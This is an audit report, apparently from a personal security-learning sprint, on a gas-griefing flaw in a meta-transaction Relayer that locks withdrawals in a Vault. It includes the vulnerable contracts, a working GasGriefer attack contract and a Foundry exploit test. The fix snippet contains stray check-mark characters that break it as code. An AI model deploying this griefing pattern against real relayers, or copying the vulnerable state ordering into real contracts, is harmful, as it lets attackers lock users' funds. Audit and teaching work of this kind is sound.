Security Audit Report: Relayer Protocol

Project .....Relayer Protocol

Repository https://github.com/molalign8468/30day-security-sprint

Commit Hash.....419b25e83bdd5dc20e0475f5b453ce029ce29016

Audit Date .....June 04 , 2026

Auditor ....Molalign Getahun

Executive Summary

Status***: HIGH SEVERITY***

The Relayer contract contains a High-severity Gas Griefing vulnerability due to marking transaction hashes as executed before verifying the success of the forwarded external call. An attacker can intentionally provide an insufficient gas limit, causing the target transaction to fail while permanently consuming the associated txHash.

As a result, legitimate transactions can be permanently invalidated without being executed. The valid withdrawal requests become unrecoverable, leaving user funds locked inside the Vault and preventing future execution attempts through the Relayer.

The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	0	-
High	1	Unresolved
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Vault.sol	Smart Contract	withdraw(),deposit() and _logWithdrawal () logic
Relayer.sol	Smart Contract	Relay() and getBalance() logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern Analysis (SWC-126: Insufficient Gas Griefing)
- ✓ Foundry-based exploit testing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
HIGH-01	HIGH	Gas Griefing Allows Permanent Invalidation of Meta-Transactions

Detailed Findings

[HIGH-01] Gas Griefing Allows Permanent Invalidation of Meta-Transactions

Severity: High

Location: Relayer.sol:L12–L28

Reference: SWC-126 - Smart Contract Weakness Classification (SWC)

Description

The The Relayer contract marks a transaction hash as executed before verifying that the forwarded external call has completed successfully.

```
        require(!executed[txHash], "Relayer: already executed");
    executed[txHash] = true;

    (bool success, ) = target.call{gas: gasLimit}(data);
```

The contract allows callers to specify an arbitrary gasLimit value that is forwarded to the target contract. However, the relayer does not validate that sufficient gas was provided and does not revert when the external call fails.

As a result, an attacker can intentionally submit a relay request with an insufficient gas limit, causing the target transaction to fail while the associated transaction hash is permanently marked as executed.

Because replay protection is enforced through the executed mapping, any future attempt to process the same transaction will revert, even though the original operation was never successfully completed.

The attack steps:

- ✦ Step 1: A victim deposits funds into the Vault.
- ✦ Step 2: The attacker submits a withdrawal request through the Relayer using a deliberately low gas limit.
- ✦ Step 3: The Relayer marks the transaction hash as executed before performing the external call.
- ✦ Step 4: The withdrawal execution runs out of gas during processing and fails.
- ✦ Step 5: The relayer records the failed execution and does not revert.
- ✦ Step 6: Future attempts to relay the same withdrawal revert with Relayer: already executed.

Consequently, valid transactions can be permanently invalidated without execution, resulting in a denial-of-service condition and causing user funds to remain locked within the protocol.

.

Impact

- ✓ **Permanent Transaction Invalidation:** Valid transactions can be permanently marked as executed without being completed.
- ✓ **Denial of Service (DoS):** Legitimate users cannot retry failed transactions once the `txHash` is consumed.
- ✓ **Locked Funds:** User funds may remain trapped in the `Vault` because valid withdrawals become unexecutable.
- ✓ **Relayer Gas Loss:** Attackers can force the relayer to spend gas on transactions designed to fail.

Risk Evaluation

- ✓ **Impact**: *High*. A malicious actor can permanently invalidate legitimate withdrawal requests, causing user funds to remain inaccessible until a new transaction is generated.
- ✓ **Likelihood**: *High*. The attack requires no special privileges and can be executed by any party capable of submitting relay requests with a deliberately insufficient gas limit.
- ✓ **Overall Severity**: *High*.

Proof of Concept

Vulnerable Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Relayer {
    mapping(bytes32 => bool) public executed;
    address public owner;

    event TransactionRelayed(bytes32 indexed txHash, bool success);
    event Funded(address indexed sender, uint256 amount);
```

```
    constructor() payable {
        owner = msg.sender;
    }

    function relay(
        address target,
        bytes calldata data,
        uint256 gasLimit,
        bytes32 txHash
        ) external {

     require(!executed[txHash], "Relayer: already executed");
     executed[txHash] = true;

     (bool success, ) = target.call{gas: gasLimit}(data);
     emit TransactionRelayed(txHash, success);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }


    receive() external payable {
        emit Funded(msg.sender, msg.value);
    }
}
```

Vault Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Vault {
    mapping(address => uint) public balances;
    address public relayer;

    event Deposited(address indexed user,uint amount);
    event Withdraw(address indexed user,uint amount);

    constructor(address _relayer) {
        relayer = _relayer;
```

```
    }

    modifier onlyRelayer() {
        require(msg.sender==relayer,"Vault: only relayer");
        _;
    }


    function deposit() payable external {
        balances[msg.sender] += msg.value;
        emit Deposited(msg.sender,msg.value);
    }

    function withdraw(address user,uint amount) external onlyRelayer {
        require(balances[user] >= amount, "Vault: insufficient balance");
        balances[user] -= amount;
        _logWithdrawal(user, amount);

        (bool ok,) = user.call{value:amount}("");
        require(ok,"Vault: ETH transfer failed");
        emit Withdraw(user, amount);
    }

    function _logWithdrawal(address user, uint256 amount) internal {
        // Simulate storage writes that consume gas
        bytes32 slot;
        assembly {
            // Write to a pseudo-random storage slot to burn gas
            mstore(0, user)
            mstore(32, amount)
            slot := keccak256(0, 64)
            sstore(slot, 1)
        }
    }

    function getBalance(address user) external view returns (uint256) {
        return balances[user];
    }

    receive() external payable{}
}
```

Gas Griffer Contract for PoC

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Vault} from "./Vault.sol";
import {Relayer} from "./Relayer.sol";

contract GasGriefer {

    Relayer public immutable relayer;
    Vault   public immutable vault;
    address public immutable attacker;
    uint256 public constant GRIEF_GAS = 10_000;

    event GriefExecuted(bytes32 indexed txHash, address indexed victim);

    constructor(address payable _relayer, address payable _vault) {
        relayer = Relayer(_relayer);
        vault   = Vault(_vault);
        attacker = msg.sender;
    }

    function grief(
        address victim,
        uint256 amount,
        bytes32 txHash
    ) external {
        require(msg.sender == attacker, "GasGriefer: not attacker");
        require(!relayer.executed(txHash), "GasGriefer: already executed");

        bytes memory data = abi.encodeWithSignature(
            "withdraw(address,uint256)",
            victim,
            amount
        );
        relayer.relay(
            address(vault),
            data,
            GRIEF_GAS,
            txHash
        );
```

```
        emit GriefExecuted(txHash, victim);
    }

    function verifyGrief(
        bytes32 txHash,
        address victim
    ) external view returns (
        bool txMarkedExecuted,
        uint256 victimBalanceStuck
    ) {
        txMarkedExecuted    = relayer.executed(txHash);
        victimBalanceStuck  = vault.balances(victim);
    }

    function calculateMaxForwardableGas(uint256 totalGas, uint256 overhead)
        external
        pure
        returns (uint256 maxForwardable)
    {
        uint256 remaining = totalGas - overhead;
        maxForwardable = remaining * 63 / 64;
    }
}
```

Exploit Test

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";
import {Vault} from "../../src/Week2/Day3_Griefing_Attack/Vault.sol";
import {Relayer} from "../../src/Week2/Day3_Griefing_Attack/Relayer.sol";
import {GasGriefer} from "../../src/Week2/Day3_Griefing_Attack/GasGriefer.sol";


//The Test
contract GasGriefingTest is Test {
    Relayer relayer;
    Vault vault;
    GasGriefer griefer;

    address alice = makeAddr("alice");
```

```
address attacker = makeAddr("attacker");

bytes32 constant TX_HASH =
    keccak256("alice-withdraw-1-eth");

function setUp() public {
    relayer = new Relayer();

    vault = new Vault(address(relayer));

    vm.prank(attacker);
    griefer = new GasGriefer(
        payable(address(relayer)),
        payable(address(vault))
    );

    vm.deal(alice, 10 ether);

    vm.prank(alice);
    vault.deposit{value: 1 ether}();
}

function test_GasGriefingAttack() public {
    assertEq(vault.balances(alice), 1 ether);

    vm.prank(attacker);
    griefer.grief(
        alice,
        1 ether,
        TX_HASH
    );

    assertTrue(relayer.executed(TX_HASH));
    assertEq(vault.balances(alice), 1 ether);
    assertEq(alice.balance, 9 ether);

    // Honest relayer tries to execute later
    bytes memory data = abi.encodeWithSignature(
        "withdraw(address,uint256)",
        alice,
        1 ether
    );
```

```
    vm.expectRevert(
        bytes("Relayer: already executed")
    );

    relayer.relay(
        address(vault),
        data,
        100_000,
        TX_HASH
    );

    // Funds remain stuck
    assertEq(vault.balances(alice), 1 ether);
  }
}
```

Recommendations

- ✓ **Gas Safety Check:** Validate available gas using EIP-150 constraints before forwarding to prevent intentional gas exhaustion attacks.

```
require(
✓           gasleft() * 63 / 64 >= gasLimit,
✓           "Relayer: insufficient gas provided"
✓           );
✓
(bool success, bytes memory returnData) = target.call{gas: gasLimit}(data);
✓
if (!success) {
✓           // Bubble up the revert reason
✓           if (returnData.length > 0) {
✓           assembly {
✓           let returnDataSize := mload(returnData)
✓           revert(add(32, returnData), returnDataSize)
✓           }
✓           }
✓           revert("Relayer: sub-call failed");
✓           }
✓
✓           // Only mark as executed after confirmed success
✓           executed[txHash] = true;
```

- ✓ **Validate Execution Before State Mutation:** Move the `executed[txHash]` update after confirming `success == true` to prevent consumption of failed transactions.
- ✓ **Enforce Failure Reversion:** Revert the transaction when the sub-call fails to ensure replay protection is not triggered for unsuccessful executions.
- ✓ **Fix State Update Ordering:** Ensure the transaction hash is marked as executed only after the external call completes successfully.

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.